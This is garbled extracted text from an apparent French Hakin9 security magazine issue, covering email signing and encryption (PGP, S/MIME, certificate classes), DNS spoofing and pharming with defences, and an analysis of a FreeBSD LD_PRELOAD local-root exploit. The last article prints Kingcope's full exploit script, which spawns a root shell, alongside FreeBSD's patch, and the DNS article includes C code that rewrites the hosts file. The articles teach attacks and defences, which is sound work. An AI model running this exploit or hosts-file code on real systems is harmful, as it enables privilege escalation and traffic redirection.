bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 25: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

